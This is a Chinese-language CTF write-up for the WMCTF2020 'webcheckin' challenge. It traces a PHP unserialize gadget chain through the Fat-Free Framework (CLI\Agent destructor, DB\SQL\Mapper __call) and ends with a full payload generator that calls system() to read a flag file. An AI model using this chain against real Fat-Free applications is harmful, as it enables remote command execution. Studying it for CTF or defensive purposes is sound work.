[WMCTF2020]webcheckin
解题步骤
www.zip下载源码。
经典反序列化:
$f3->route('GET /',
function($f3) {
echo "just get me a,don't do anything else";
}
);
unserialize($_GET['a']);
readme.md直接告诉是fat-free框架。网上直接搜。由于链子比较简单,我们来分析一波。全局搜索__destruct
。唯一可用点
ws.php
function __destruct() {
if (isset($this->server->events['disconnect']) &&
is_callable($func=$this->server->events['disconnect']))
$func($this);
}
明显func可控。找找当前类有没有可以当跳板的方法。
function fetch() {
// Unmask payload
$server=$this->server;
if (is_bool($buf=$server->read($this->socket)))
上面有个fetch函数,这个read可以触发__call
。有点小疑问,fetch无参,但是func明显带了参数,于是本地跑了一下看看怎么触发:
这样就能触发无参函数,不管传不传参。
全局搜索一波。
在
/lib/db/sql/mapper.php
function __call($func,$args) {
return call_user_func_array(
(array_key_exists($func,$this->props)?
$this->props[$func]:
$this->$func),$args
);
}
找到几个,但是这个的func和args都可控,而且还调用call_user_func_array。
直接就可以任意函数调用。这里还有一个小问题,就是我们需要Agent类,但是它写在了ws.php。如果直接构造Agent,会导致autoload失败。
protected function autoload($class) {
$class=$this->fixslashes(ltrim($class,'\\'));
/** @var callable $func */
$func=NULL;
if (is_array($path=$this->hive['AUTOLOAD']) &&
isset($path[1]) && is_callable($path[1]))
list($path,$func)=$path;
foreach ($this->split($this->hive['PLUGINS'].';'.$path) as $auto)
if ($func && is_file($file=$func($auto.$class).'.php') ||
is_file($file=$auto.$class.'.php') ||
is_file($file=$auto.strtolower($class).'.php') ||
is_file($file=strtolower($auto.$class).'.php'))
return require($file);
}
这里它会加载cli/agent.php
,然后失败。所以先随便构造一个ws类,让它加载ws.php。最终payload:
<?php
namespace DB\SQL{
class Mapper{
protected $props = array();
public function __construct()
{
$this->props["read"] = "system";
}
}
}
namespace CLI{
class Agent{
protected $server;
protected $socket;
public function __construct($a)
{
$this->server = $a;
$this->socket = "cat /etc/flagzaizheli";
}
}
class WS{
protected $addr;
public function __construct()
{
$this->addr = new Agent(new \Auth());
}
}
}
namespace {
class Auth{
public $events = array();
public function __construct()
{
$this->events['disconnect'] = array(new CLI\Agent(new DB\SQL\Mapper()), "fetch");
}
}
echo urlencode(serialize(new CLI\WS()));
}
中间作为跳板的Auth类似乎可以任意一个类就行,因为这个类需要写入一个events数组(就算里面没有这个属性)。